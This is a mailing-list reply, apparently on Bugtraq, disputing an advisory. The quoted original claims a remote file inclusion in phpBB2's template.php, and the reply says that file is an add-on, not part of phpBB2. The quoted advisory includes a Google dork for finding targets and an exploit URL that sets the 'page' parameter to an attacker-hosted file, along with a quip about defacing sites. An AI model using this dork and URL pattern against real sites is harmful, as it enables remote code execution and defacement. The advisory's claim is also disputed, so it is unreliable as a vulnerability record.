Bugtraq: Re: phpBB2 (template.php) Remote File Inclusion

["ad () heapoverflow com" <ad () heapoverflow com>]

template.php is an addon and not part of phpbb2, noobs....


canberx () linuxmail org wrote:
> ********************************************************************
>
> *Title:
>
> *phpBB2 Remote File Include
>
> *
>
> *
>
> *Credit:
>
> *Canberx
>
> *
>
> *
>
> *Thanx:
>
> *Forewer-Partizan
>
> *
>
> *
>
> *Mail:
>
> *canberx () linuxmail org    www.canberx.tk
>
> *
>
> *
>
> *Google Dork:
>
> *Powered by phpBB © 2001, 2002 phpBB Group
>
> *
>
> *
>
> *Exploit:
>
> *www.target.com/[path_to_phpbb]/template.php?page=[attacker]
>
> *
>
> *
>
> *********************************************************************
>
>
> Plz Don't Hacked site if it already has been defaced :)
>
>
> *********************************************************************
>
>
> __________ NOD32 1.1578 (20060604) Information __________
>
> This message was checked by NOD32 antivirus system.
> http://www.eset.com
>
>
>
>

Attachment: ad.vcf
Description: